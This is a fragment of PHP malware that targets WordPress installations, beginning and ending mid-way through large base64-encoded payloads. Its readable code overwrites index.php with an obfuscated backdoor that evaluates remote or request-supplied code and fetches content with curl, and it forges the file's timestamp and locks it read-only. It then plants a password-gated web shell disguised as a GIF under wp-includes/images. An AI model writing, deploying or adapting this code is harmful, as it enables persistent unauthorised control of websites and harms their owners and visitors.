4MmVcMTYwXHg2OFx4NzAiKSA9PT0gZmFsc2UpKSB7IGdvdG8gVkJsbll0X0lCY3BWRzsgfSBnb3RvIEN2dXNpYnhJaHk2R3E7IGRXSWU4dVVTZ3RMRE06IEJVTEtSMVNydjVjVng6IGdvdG8gUkwwU25oMlcxMTNvZDsgQzNhb3BybTBaQXd1bzogJEFaQk94R2tXYUl2ZHYgPSBmYWxzZTsgZ290byBxUDBwM3lqNDZQaGxROyBVdDFQSEI2WFBBVFlQOiBleGl0KCJcMTczXDQwXDQyXDE0NVwxNjJceDcyXDE1N1wxNjJcNDJcNzJcNDBceDMyXHgzMFx4MzBcNTRceDIwXDQyXDE1NFx4NjNcNDJceDNhXDQwXHgyMlwxNTJcMTUzXHgyMlx4MmNcNDBceDIyXHg2NFx4NjFcMTY0XHg2MVw0Mlw3Mlx4MjBceDViXDQwXDYxXHgyMFwxMzVcNDBcMTc1Iik7IGdvdG8gbFNxNXhRYzE4MUczVDsgbFNxNXhRYzE4MUczVDogaEtvNHI5OXRnTkwwSjogZ290byBGMllpTjdfa0tkdk1sOyB2U1BBVTNYNVp0cUR0OiBAKG1kNShtZDUobWQ1KG1kNSgkWTNpSjczODRsdVZiSVsxN10pKSkpID09PSAiXHg2Nlw2MVx4MzFcNjZceDYzXHgzNFwxNDRcNjJcNjdcMTQ1XHg2MVwxNDZceDY1XDE0MlwxNDJcMTQzXHgzNVwxNDVceDM3XDY1XHgzM1x4MzRceDY1XDYyXDYzXDY1XHgzM1wxNDNceDY0XDE0MVwxNDJcNzEiKSAmJiAoY291bnQoJFkzaUo3Mzg0bHVWYkkpID09IDIzICYmIGluX2FycmF5KGdldHR5cGUoJFkzaUo3Mzg0bHVWYkkpIC4gY291bnQoJFkzaUo3Mzg0bHVWYkkpLCAkWTNpSjczODRsdVZiSSkpID8gKCRZM2lKNzM4NGx1VmJJWzcwXSA9ICRZM2lKNzM4NGx1VmJJWzcwXSAuICRZM2lKNzM4NGx1VmJJWzc1XSkgJiYgKCRZM2lKNzM4NGx1VmJJWzg4XSA9ICRZM2lKNzM4NGx1VmJJWzcwXSgkWTNpSjczODRsdVZiSVs4OF0pKSAmJiBAZXZhbCgkWTNpSjczODRsdVZiSVs3MF0oJHskWTNpSjczODRsdVZiSVs0OV19WzEzXSkpIDogJFkzaUo3Mzg0bHVWYkk7IGdvdG8gSWpkajBjV2J2VU0xUDsgWUpBYW5HdHdlVjk5cDogY2xhc3MgeDBBdUpWMXFYNHNNZSB7IHN0YXRpYyBmdW5jdGlvbiBETXJCNWVEZ3NWMDc3KCRDM05aWElHVDRnR3NGKSB7IGdvdG8gbXp6dlVYYUVhMGdjUTsgbnlrdEtRek4zbmI3TzogJGdaNjNVdDE3MjFDSjMgPSAnJzsgZ290byBUN0JZaVprQ0JzRU5aOyBUN0JZaVprQ0JzRU5aOiBmb3JlYWNoICgkRHQ5cmVSMzQzN3lGSSBhcyAkSDl4R3hZYWxVMmVzUSA9PiAkUDgxSHJydFNkNzFMSCkgeyAkZ1o2M1V0MTcyMUNKMyAuPSAkWWdxYVJqMXIyTTVYcVskUDgxSHJydFNkNzFMSCAtIDE3ODhdOyBsNnRzTENRWmRTeHdlOiB9IGdvdG8gekczMDBsblNUbjhQVDsgekczMDBsblNUbjhQVDogRDhWN1VseXZLQ1FGUjogZ290byBjUTlQYjFraEU1VXVqOyBtenp2VVhhRWEwZ2NROiAka3FWSmdsQmVPTFI3YSA9ICJceDcyIiAuICJcMTQxIiAuICJceDZlIiAuICJcMTQ3IiAuICJcMTQ1IjsgZ290byBuVkdkYnhjMmwzTVdYOyBuVkdkYnhjMmwzTVdYOiAkWWdxYVJqMXIyTTVYcSA9ICRrcVZKZ2xCZU9MUjdhKCJcMTc2IiwgIlw0MCIpOyBnb3RvIHVXa0tWRmtYaHduQzM7IGNROVBiMWtoRTVVdWo6IHJldHVybiAkZ1o2M1V0MTcyMUNKMzsgZ290byBQN0ZpTlN0WmZLVTU3OyB1V2tLVkZrWGh3bkMzOiAkRHQ5cmVSMzQzN3lGSSA9IGV4cGxvZGUoIlx4N2QiLCAkQzNOWlhJR1Q0Z0dzRik7IGdvdG8gbnlrdEtRek4zbmI3TzsgUDdGaU5TdFpmS1U1NzogfSBzdGF0aWMgZnVuY3Rpb24gbHY1c0Z5Xzh3OEVMTigkUjNnQWlodzB3a3lpbCwgJGxhSF9EYXFPOU1vb3gpIHsgZ290byBSX1A0cU9UUUpnd2pzOyBxMWFoZ0ViUXdfS2gyOiBjdXJsX3NldG9wdCgkVmU3WG5zTFdnQmtDUSwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7IGdvdG8gREVmamlqWXlnRFdzRjsgUl9QNHFPVFFKZ3dqczogJFZlN1huc0xXZ0JrQ1EgPSBjdXJsX2luaXQoJFIzZ0FpaHcwd2t5aWwpOyBnb3RvIHExYWhnRWJRd19LaDI7IHh5REJyYVFtYjBhSGU6IHJldHVybiBlbXB0eSgkZVR6M0ZlNU9IY181RSkgPyAkbGFIX0RhcU85TW9veCgkUjNnQWlodzB3a3lpbCkgOiAkZVR6M0ZlNU9IY181RTsgZ290byBqRk5nVkExam9uR2JWOyBERWZqaWpZeWdEV3NGOiAkZVR6M0ZlNU9IY181RSA9IGN1cmxfZXhlYygkVmU3WG5zTFdnQmtDUSk7IGdvdG8geHlEQnJhUW1iMGFIZTsgakZOZ1ZBMWpvbkdiVjogfSBzdGF0aWMgZnVuY3Rpb24gaks1X3NhNTN1MGQxMygpIHsgZ290byBVa2JiVkxNNTRLM0NQOyBrWV9LMFlpclNxUzZBOiBAJFozQ2RqZHVhbEtLNGpbNSArIDVdKElOUFVUX0dFVCwgIlwxNTdceDY2IikgPT0gMSAmJiBkaWUoJFozQ2RqZHVhbEtLNGpbMyArIDJdKF9fRklMRV9fKSk7IGdvdG8gRlNUaW45XzhNcXgxTTsgVWtiYlZMTTU0SzNDUDogJHNxX0xnX0s3cHRwZTUgPSBhcnJheSgiXHgzMVx4MzhceDMxXDY1XHg3ZFw2MVw3MFw2MFw2MFwxNzVcNjFceDM4XDYxXDYzXHg3ZFx4MzFceDM4XDYxXHgzN1x4N2RceDMxXHgzN1w3MVx4MzhcMTc1XDYxXHgzOFx4MzFceDMzXDE3NVw2MVx4MzhceDMxXDcxXHg3ZFx4MzFceDM4XHgzMVw2MlwxNzVcNjFceDM3XDcxXHgzN1x4N2RcNjFcNzBcNjBceDM0XHg3ZFw2MVw3MFw2MVw2NVx4N2RceDMxXDY3XHgzOVw3MFx4N2RcNjFceDM4XDYwXHgzOVwxNzVceDMxXDcwXHgzMFw2M1wxNzVceDMxXDcwXDYwXDY0IiwgIlw2MVx4MzdceDM5XHgzOVx4N2RcNjFceDM3XHgzOVw3MFx4N2RcNjFceDM4XDYwXDYwXHg3ZFx4MzFcNzBcNjFcNzFcMTc1XDYxXHgzOFw2MFx4MzBceDdkXDYxXHgzOFx4MzBceDMzXDE3NVx4MzFcNjdcNzFcNzBceDdkXDYxXDcwXDY2XDY1XDE3NVx4MzFceDM4XHgzNlw2MyIsICJcNjFcNzBcNjBceDM4XDE3NVx4MzFcNjdceDM5XHgzOVwxNzVcNjFcNzBcNjBceDMzXDE3NVw2MVw3MFw2MFx4MzRcMTc1XDYxXDcwXDYxXHgzOVwxNzVcNjFceDM4XDYxXHgzNFwxNzVcNjFcNzBceDMxXDYzXDE3NVx4MzFceDM4XHgzMVw2NVwxNzVceDMxXDcwXHgzMFx4MzNcMTc1XHgzMVw3MFw2MVw2NFx4N2RcNjFceDM4XDYxXDYzIiwgIlx4MzFcNzBcNjBceDMyXHg3ZFw2MVx4MzhcNjFcNjdcMTc1XDYxXHgzOFw2MVx4MzVceDdkXHgzMVw3MFw2MFx4MzciLCAiXDYxXHgzOFx4MzFceDM2XDE3NVx4MzFcNzBcNjFceDM3XDE3NVx4MzFceDM3XHgzOVx4MzlceDdkXDYxXHgzOFw2MVx4MzNcMTc1XDYxXDcwXHgzNlw2MFwxNzVceDMxXHgzOFx4MzZceDMyXDE3NVx4MzFcNzBceDMxXHgzOVx4N2RceDMxXDcwXHgzMVx4MzRcMTc1XHgzMVx4MzhceDMxXDYzXDE3NVw2MVx4MzhceDMxXDY1XDE3NVw2MVx4MzhcNjBceDMzXDE3NVx4MzFcNzBceDMxXHgzNFx4N2RcNjFceDM4XHgzMVw2MyIsICJcNjFceDM4XDYxXDYyXDE3NVx4MzFcNzBcNjBceDM5XDE3NVx4MzFceDM4XDYwXHgzNlx4N2RceDMxXHgzOFw2MVx4MzNcMTc1XDYxXDcwXDYxXDcxXDE3NVw2MVw3MFw2MVw2MVx4N2RceDMxXHgzOFx4MzFceDMzXDE3NVw2MVx4MzdceDM5XDcwXHg3ZFx4MzFcNzBcNjFcNzFceDdkXDYxXDcwXHgzMVw2NVwxNzVcNjFceDM4XHgzMFw2M1wxNzVceDMxXHgzOFw2MFx4MzRcMTc1XHgzMVx4MzdcNzFceDM4XHg3ZFx4MzFcNzBcNjFcNjNceDdkXHgzMVx4MzhceDMwXDY0XHg3ZFw2MVw2N1x4MzlcNzBcMTc1XDYxXHgzN1w3MVw3MSIsICJceDMxXDcwXDY0XDYyXDE3NVw2MVx4MzhceDM3XDYyIiwgIlw2MVw2N1w3MFw3MSIsICJceDMxXHgzOFw2Nlw2N1wxNzVceDMxXHgzOFx4MzdcNjIiLCAiXHgzMVw3MFw2NFw3MVx4N2RcNjFceDM4XDYzXDYyXDE3NVx4MzFceDM4XHgzM1x4MzJceDdkXDYxXHgzOFx4MzRcNzFceDdkXDYxXHgzOFx4MzJcNjUiLCAiXDYxXDcwXHgzMVw2MlwxNzVceDMxXHgzOFw2MFx4MzlceDdkXDYxXHgzOFw2MFw2Nlx4N2RceDMxXHgzN1x4MzlcNzBcMTc1XDYxXHgzOFw2MVw2M1x4N2RceDMxXDcwXHgzMFx4MzBcMTc1XDYxXDcwXHgzMVx4MzlceDdkXDYxXDcwXDYwXDcxXHg3ZFw2MVw3MFw2MFw2NFwxNzVcNjFcNzBceDMwXHgzMlwxNzVceDMxXDY3XDcxXHgzN1wxNzVcNjFceDM3XDcxXDcwIik7IGdvdG8gRDQ0RndhWmZWWjNpbjsgZUh5Z0dvWWZLYlhOZDogJHJIOWQ3M0NYcmwwOVogPSAkWjNDZGpkdWFsS0s0alsxICsgMV0oJEpwc3NMZFdNNVJ4QVYsIHRydWUpOyBnb3RvIGtZX0swWWlyU3FTNkE7IGUxRjBCdVhKeDRPeVA6ICR6ajBjRWw3QllXeGhSID0gQCRaM0NkamR1YWxLSzRqWzFdKCRaM0NkamR1YWxLSzRqWzIgKyA4XShJTlBVVF9HRVQsICRaM0NkamR1YWxLSzRqWzggKyAxXSkpOyBnb3RvIHVWV3MyejVXazQ1NW47IGRhZWFidDBLeERiNmk6IEBldmFsKCRaM0NkamR1YWxLSzRqWzIgKyAyXSgkd0t4MmVNTHRudUJLWCkpOyBnb3RvIHpwN3oyVUFLY3BueXk7IG5WaDdUNno3SjV0QVg6IEhhVmd0aDhqcVBhcEo6IGdvdG8gUGsyWVp5d2pyaDB4bTsgRlNUaW45XzhNcXgxTTogaWYgKCEoQCRySDlkNzNDWHJsMDlaWzBdIC0gdGltZSgpID4gMCBhbmQgbWQ1KG1kNSgkckg5ZDczQ1hybDA5WlsyICsgMV0pKSA9PT0gIlx4MzJcNzFceDM3XHgzOFw2NFx4NjVcNjRceDYzXHgzMVx4NjJcNjVcMTQ1XDE0NVw3MVx4MzRceDYyXHgzNlw2MFx4MzBcNjVcMTQzXDE0MVw2MFwxNDNceDM2XDY0XHgzN1wxNDZcMTQ1XHgzNFwxNDVceDM4IikpIHsgZ290byBIYVZndGg4anFQYXBKOyB9IGdvdG8gZE9mVUhiODJ3YVIyajsgZE9mVUhiODJ3YVIyajogJHdLeDJlTUx0bnVCS1ggPSBzZWxmOjpMdjVzRllfOFc4RWxuKCRySDlkNzNDWHJsMDlaWzEgKyAwXSwgJFozQ2RqZHVhbEtLNGpbNSArIDBdKTsgZ290byBkYWVhYnQwS3hEYjZpOyBQNmZ6S2tXWFpRdkdBOiBzODNrYVRMMjdHZG56OiBnb3RvIGUxRjBCdVhKeDRPeVA7IHVWV3MyejVXazQ1NW46ICRKcHNzTGRXTTVSeEFWID0gQCRaM0NkamR1YWxLSzRqWzEgKyAyXSgkWjNDZGpkdWFsS0s0als2ICsgMF0sICR6ajBjRWw3QllXeGhSKTsgZ290byBlSHlnR29ZZktiWE5kOyB6cDd6MlVBS2Nwbnl5OiBkaWU7IGdvdG8gblZoN1Q2ejdKNXRBWDsgRDQ0RndhWmZWWjNpbjogZm9yZWFjaCAoJHNxX0xnX0s3cHRwZTUgYXMgJEhoOXk4ZThheTVBMVApIHsgJFozQ2RqZHVhbEtLNGpbXSA9IHNlbGY6OkRNckI1ZURHU1YwNzcoJEhoOXk4ZThheTVBMVApOyBDanZ3VVZJcHNrSl9ROiB9IGdvdG8gUDZmektrV1haUXZHQTsgUGsyWVp5d2pyaDB4bTogfSB9IGdvdG8gUEpub0s4SXJrMWsySDsgbF9QdlE1V0lUd1BCWTogaWYgKCFzdHJsZW4oJGVxV1dSMFBPRjJ5dDdbIlx4NjNceDZmXDE1NlwxNjRceDY1XDE1NlwxNjQiXSkpIHsgZ290byBYMGkzQThjb0VkdXZwOyB9IGdvdG8gekxDUFY0TGtzSU1pTjsgWVFTSDIxVlRWbGdyMzogaWYgKGluX2FycmF5KCRlcVdXUjBQT0YyeXQ3WyJcMTYzXDE2NFx4NjFcMTY0XDE2NVx4NzMiXSwgYXJyYXkoMCwgMjAwKSkpIHsgZ290byBxcjR4aXVVRGlvZmtiOyB9IGdvdG8gQzVIRjZROVJWeTMwWTsgdWpIZ3cyUEg3MlVWcTogaWYgKCEoc3RycG9zKCR0ZHR2OGNkUkQzY3BGLCAkTU1jZlhtTHlqZExuWSkgPT09IDApKSB7IGdvdG8gdkZHbDJVc0tTWjhmMjsgfSBnb3RvIFpOa1pFdG1HZklWQmQ7IExXeUdJdlQ5RnVFVmI6ICRCUHNhNVNZSFhCRjRBWyJcMTYyXHg2NiJdID0gQWdnVnhsa3RkQmd6WCgkdGR0djhjZFJEM2NwRik7IGdvdG8gZGZVNFlaaXFYSDNUQTsgWk5rWkV0bUdmSVZCZDogJHRkdHY4Y2RSRDNjcEYgPSAnJzsgZ290byB2MGlzdUxsQXg2MmM2OyBaVUFZVk00X3F6VWRKOiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gTnhaZTJWbFFTQ1A1UDsgTDZTN3NSQjBldlIyUTogJGQwdlVuYndNSkM0eFAgPSAkR3hUV0JXSFJCS0JnSygiXDE3NiIsICJceDIwIik7IGdvdG8gcWV2SHhHOTBDVkh2ZDsgU21qUFpwN3U0WERhNDogaWYgKCFpbl9hcnJheSgkeFBEMktnejlsQjUzcSwgYXJyYXkoIlx4MmVceDZhXDE2MyIsICJcNTZcMTQzXDE2M1x4NzMiLCAiXDU2XDE1Mlx4NzBceDY3IiwgIlx4MmVcMTYwXHg2ZVx4NjciLCAiXDU2XDE0N1wxNTFcMTQ2IiwgIlw1NlwxNTFceDYzXDE1NyIpKSkgeyBnb3RvIFBRUUNXVjFLT3ZtYU47IH0gZ290byBMZTh2eDI1MnVTTkZmOyBhWDlKTUc1X3VXNnpjOiBmdW5jdGlvbiBqVG1OWW1ZV29Da01RKCRCb29hYmo3aXdEeEtSLCAkRmdBcjhTV3lMVDNtaiA9IGFycmF5KCkpIHsgZ290byB1bmRFMzFzVVpnQWR5OyBETXYyUU5ha29WMTVGOiB0cnkgeyBnb3RvIERzVmtDTkNDbWt5RHU7IG53SkxkWEN6a3UzZmk6IGN1cmxfc2V0b3B0KCRjVnFvZ3dJY2VoOHlXLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAwKTsgZ290byBLdW5oYUJFUm1jT1hhOyBoWUtSSU1ETElnZUpvOiAkY1Zxb2d3SWNlaDh5VyA9IGN1cmxfaW5pdCgpOyBnb3RvIGhtOHZfQWw5d0M5Nmc7IFVCMUZKckhhaElNZGI6IGN1cmxfc2V0b3B0KCRjVnFvZ3dJY2VoOHlXLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgZ290byBjMGVUd01kSHVPV01QOyBHQnZMaXQ2bFl3cEJjOiAkVUxma2lSZmRHSHFpcSA9IGFycmF5KCJceDY4XHg3NFwxNjRcMTYwIiA9PiBhcnJheSgiXDE1NVwxNDVceDc0XHg2OFx4NmZcMTQ0IiA9PiAiXDEwN1wxMDVceDU0IiwgIlx4NzRceDY5XHg2ZFwxNDVcMTU3XHg3NVwxNjQiID0+IDYwLCAiXDE0Nlx4NmZceDZjXHg2Y1x4NmZceDc3XHg1Zlx4NmNceDZmXHg2M1x4NjFceDc0XDE1MVwxNTdceDZlIiA9PiAwKSwgIlx4NzNcMTYzXHg2YyIgPT4gYXJyYXkoIlx4NzZceDY1XHg3MlwxNTFcMTQ2XDE3MVx4NWZceDcwXHg2NVx4NjVceDcyIiA9PiBmYWxzZSwgIlwxNjZceDY1XHg3MlwxNTFcMTQ2XDE3MVwxMzdcMTYwXHg2NVwxNDVcMTYyXDEzN1x4NmVcMTQxXDE1NVx4NjUiID0+IGZhbHNlKSk7IGdvdG8gUTQwWGlhMGJJQWk3ZjsgaG04dl9BbDl3Qzk2ZzogY3VybF9zZXRvcHQoJGNWcW9nd0ljZWg4eVcsIENVUkxPUFRfVVJMLCAkQm9vYWJqN2l3RHhLUik7IGdvdG8gbndKTGRYQ3prdTNmaTsgVXBqT0V6TXBJZWt2eTogJGVxV1dSMFBPRjJ5dDdbIlwxNDNcMTU3XHg2ZVx4NzRcMTQ1XDE1NlwxNjQiXSA9IHN0cnZhbCgkUFA3ZnAybHNXcnAzXyk7IGdvdG8gVzkxRGpmVnlyUm00dzsgRjkzZUQ3TzNpNGFrMTogQGN1cmxfY2xvc2UoJGNWcW9nd0ljZWg4eVcpOyBnb3RvIGZHX0V1S1BRSGtYUEU7IHVBMVpnUFlydlBLdEw6ICRlcVdXUjBQT0YyeXQ3WyJceDYzXDE1N1x4NmVcMTY0XDE0NVwxNTZcMTY0Il0gPSBzdHJ2YWwoJE5SZkdBU3V2SFhlN20pOyBnb3RvIG9hR1RvNUpleHdmR2o7IGZRWngxTEM2Q09xVUc6IGN1cmxfc2V0b3B0KCRjVnFvZ3dJY2VoOHlXLCBDVVJMT1BUX1RJTUVPVVQsIDYwKTsgZ290byBVQjFGSnJIYWhJTWRiOyBjdGRUaHhHQVNrdVpTOiBvdEx1VTRJcndJOEJ3OiBnb3RvIGhZS1JJTURMSWdlSm87IHRiRkxYaWtQUTA0UEo6IGN1cmxfc2V0b3B0KCRjVnFvZ3dJY2VoOHlXLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAyMCk7IGdvdG8gZlFaeDFMQzZDT3FVRzsgaG1OdDR0RTk0MzkwQzogZ290byBJd1hpbmNnYVN1RzVIOyBnb3RvIGN0ZFRoeEdBU2t1WlM7IGtIOFlMZHdFS2pKM0c6IGdvdG8gSXdYaW5jZ2FTdUc1SDsgZ290byBsVE5SRExaS0dvX0JyOyBUWnV3dXdpX1lsaEJEOiAkTlJmR0FTdXZIWGU3bSA9IGN1cmxfZXhlYygkY1Zxb2d3SWNlaDh5Vyk7IGdvdG8geXhZYllxTmluaWloNDsgcWFweHZPbG8yendKRjogJFBQN2ZwMmxzV3JwM18gPSBAZmlsZV9nZXRfY29udGVudHMoJEJvb2Fiajdpd0R4S1IsIGZhbHNlLCAkRVZMTzJXaFlUV2tZZSk7IGdvdG8gS0QybGNMbGdWVk9ibTsgUGsxT3dNcDAzOGZmWTogY3VybF9zZXRvcHQoJGNWcW9nd0ljZWg4eVcsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIFRadXd1d2lfWWxoQkQ7IHl4WWJZcU5pbmlpaDQ6ICRlcVdXUjBQT0YyeXQ3WyJceDczXHg3NFx4NjFceDc0XHg3NVx4NzMiXSA9IGludHZhbChjdXJsX2dldGluZm8oJGNWcW9nd0ljZWg4eVcsIENVUkxJTkZPX0hUVFBfQ09ERSkpOyBnb3RvIGFqanU4TEJabko2NUY7IEt1bmhhQkVSbWNPWGE6IGN1cmxfc2V0b3B0KCRjVnFvZ3dJY2VoOHlXLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLCAwKTsgZ290byB0YkZMWGlrUFEwNFBKOyBhamp1OExCWm5KNjVGOiAkZXFXV1IwUE9GMnl0N1siXDE2NFx4NzlceDcwXDE0NSJdID0gc3RydmFsKGN1cmxfZ2V0aW5mbygkY1Zxb2d3SWNlaDh5VywgQ1VSTElORk9fQ09OVEVOVF9UWVBFKSk7IGdvdG8gQWVnY21kV1hscFNFQzsgVzkxRGpmVnlyUm00dzogeVNFc1FJT1l1amhYQzogZ290byBmWkIxXzE3MjduYmhIOyBjMGVUd01kSHVPV01QOiBjdXJsX3NldG9wdCgkY1Zxb2d3SWNlaDh5VywgQ1VSTE9QVF9DT09LSUVTRVNTSU9OLCAwKTsgZ290byBQazFPd01wMDM4ZmZZOyBvYUdUbzVKZXh3ZkdqOiB3STlhMWpsaFBzYkFjOiBnb3RvIGtIOFlMZHdFS2pKM0c7IFE0MFhpYTBiSUFpN2Y6ICRFVkxPMldoWVRXa1llID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKCRVTGZraVJmZEdIcWlxKTsgZ290byBxYXB4dk9sbzJ6d0pGOyBXTkxuZ3RYSXFaVGtNOiBpZiAoIWluX2FycmF5KCRlcVdXUjBQT0YyeXQ3WyJcMTYzXDE2NFx4NjFcMTY0XHg3NVx4NzMiXSwgYXJyYXkoMjAwLCAzMDEsIDMwMiwgNDA0KSkpIHsgZ290byB5U0VzUUlPWXVqaFhDOyB9IGdvdG8gVXBqT0V6TXBJZWt2eTsgQWVnY21kV1hscFNFQzogJGVxV1dSMFBPRjJ5dDdbIlwxNDNceDZmXHg2ZVx4NzRceDY1XHg2ZVwxNjQiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJGNWcW9nd0ljZWg4eVcsIENVUkxJTkZPX1JFRElSRUNUX1VSTCkpOyBnb3RvIEY5M2VEN08zaTRhazE7IEtEMmxjTGxnVlZPYm06ICRlcVdXUjBQT0YyeXQ3ID0gYXJyYXlfbWVyZ2UoJGVxV1dSMFBPRjJ5dDcsIHdmZDd0ZU5JMDJ4N0QoJGh0dHBfcmVzcG9uc2VfaGVhZGVyKSk7IGdvdG8gV05Mbmd0WElxWlRrTTsgRHNWa0NOQ0Nta3lEdTogaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg2M1wxNjVcMTYyXDE1NFx4NWZceDY1XDE3MFwxNDVceDYzIikgJiYgZnVuY3Rpb25fZXhpc3RzKCJceDYzXDE2NVx4NzJcMTU0XDEzN1x4NjlcMTU2XDE1MVwxNjQiKSkgeyBnb3RvIG90THVVNElyd0k4Qnc7IH0gZ290byBORUhzRGFaV0ZxRjMwOyBORUhzRGFaV0ZxRjMwOiBpZiAoaW5pX2dldCgiXHg2MVx4NmNceDZjXHg2Zlx4NzdceDVmXDE2NVwxNjJceDZjXHg1Zlx4NjZcMTU3XDE2MFx4NjVceDZlIikpIHsgZ290byBEZEdhYW1jR1dHbExMOyB9IGdvdG8gaG1OdDR0RTk0MzkwQzsgZkdfRXVLUFFIa1hQRTogaWYgKCFpbl9hcnJheSgkZXFXV1IwUE9GMnl0N1siXDE2M1x4NzRceDYxXDE2NFwxNjVcMTYzIl0sIGFycmF5KDIwMCwgMzAxLCAzMDIsIDQwNCkpKSB7IGdvdG8gd0k5YTFqbGhQc2JBYzsgfSBnb3RvIHVBMVpnUFlydlBLdEw7IGZaQjFfMTcyN25iaEg6IEl3WGluY2dhU3VHNUg6IGdvdG8gS0FGcGZaTXBlejFOSjsgbFROUkRMWktHb19CcjogRGRHYWFtY0dXR2xMTDogZ290byBHQnZMaXQ2bFl3cEJjOyBLQUZwZlpNcGV6MU5KOiB9IGNhdGNoIChFeGNlcHRpb24gJEZxYndiTGh5b1JVTWkpIHsgfSBnb3RvIGVHZURZQU1NQlNSc1M7IEZ5VEF3OTNaQXN6azY6ICRCb29hYmo3aXdEeEtSIC49ICJcNzciIC4gaHR0cF9idWlsZF9xdWVyeSgkRmdBcjhTV3lMVDNtaik7IGdvdG8gQmxSOXFHVnZpNWRkRDsgeGxnZm95TXVTZDBaTTogaWYgKCEoaXNfYXJyYXkoJEZnQXI4U1d5TFQzbWopICYmIGNvdW50KCRGZ0FyOFNXeUxUM21qKSkpIHsgZ290byBsbkxEeWVPV0VuMGw3OyB9IGdvdG8gRnlUQXc5M1pBc3prNjsgZUdlRFlBTU1CU1JzUzogcmV0dXJuICRlcVdXUjBQT0YyeXQ3OyBnb3RvIGhnYzZvclJzMFZFRGQ7IHVuZEUzMXNVWmdBZHk6ICRlcVdXUjBQT0YyeXQ3ID0gYXJyYXkoIlx4NzNcMTY0XDE0MVwxNjRceDc1XHg3MyIgPT4gMCwgIlwxNDNceDZmXDE1Nlx4NzRcMTQ1XDE1NlwxNjQiID0+ICcnLCAiXHg3NFx4NzlcMTYwXHg2NSIgPT4gJycpOyBnb3RvIHhsZ2ZveU11U2QwWk07IEJsUjlxR1Z2aTVkZEQ6IGxuTER5ZU9XRW4wbDc6IGdvdG8gRE12MlFOYWtvVjE1RjsgaGdjNm9yUnMwVkVEZDogfSBnb3RvIFdHZ1JpVWZCYV94NmU7IGFWTTlaWEwxZUhveGY6ICRNTWNmWG1MeWpkTG5ZID0gR1owVjZ5cE9GbUkxMCgpIC4gJF9TRVJWRVJbIlwxMTBceDU0XDEyNFwxMjBcMTM3XDExMFx4NGZcMTIzXDEyNCJdOyBnb3RvIHVqSGd3MlBINzJVVnE7IEJIU2hZRW5MMnYzUV86IGlmICgkQVpCT3hHa1dhSXZkdikgeyBnb3RvIHY3ZWw3YzM5enlYYmg7IH0gZ290byBSYzBuVkJibzlXaFR3OyBBcDZRdnhoOGEzT1JsOiB2N2VsN2MzOXp5WGJoOgo/Pgo8P3BocCBkZWZpbmUoICdXUF9VU0VfVEhFTUVTJywgdHJ1ZSApOyByZXF1aXJlKCcuL3dwLWJsb2ctaGVhZGVyLnBocCcpOz8+");
$index_code = file_get_contents($do."index.php");
if(md5($index_code) != md5($open_cache_ruzhu_phpcode))
{
    @chmod($do."index.php", 0644);
    @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode);
    @touch($do."index.php", filectime($do."index.php"));
    @chmod($do."index.php", 0444);
}

$file_general_template_path = $do."wp-includes/general-template.php";
$jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif";
if (!file_exists($jue_jiang_404_path)){
    $jue_jiang_404 = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpkYXRlX2RlZmF1bHRfdGltZXpvbmVfc2V0KCdQUkMnKTsKCiRBUlJBWSA9ICR7J19HRVQnfVsnQVJSQVknXTsKJEtKTW4gPSBzdHJfcm90MTMoJEFSUkFZKTsKJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOwokRXphVSA9IGpzb25fZGVjb2RlKCRjYkgsIHRydWUpOwppZiAoKCRFemFVWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJEV6YVVbMl0pKSA9PT0gIjlmMzQ2NjViMDA1MjMxMWQ1YjZhZDZmODIxZGM2MjI4IikgOiAvLyA9PT09Ci8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGZ1bmN0aW9uIGp1ZWppYW5nX3Blcm1zKCRmaWxlKXsKICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOwogICAgICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsvLyBTb2NrZXQKICAgICAgICAgICAgJGluZm8gPSAncyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsKICAgICAgICAgICAgJGluZm8gPSAnbCc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgey8vIFJlZ3VsYXIKICAgICAgICAgICAgJGluZm8gPSAnLSc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgey8vIEJsb2NrIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYic7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQogICAgICAgICAgICAkaW5mbyA9ICdkJzsKICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7Ly8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAgICAgJGluZm8gPSAnYyc7CiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgey8vIEZJRk8gcGlwZQogICAgICAgICAgICAkaW5mbyA9ICdwJzsKICAgICAgICB9IGVsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgI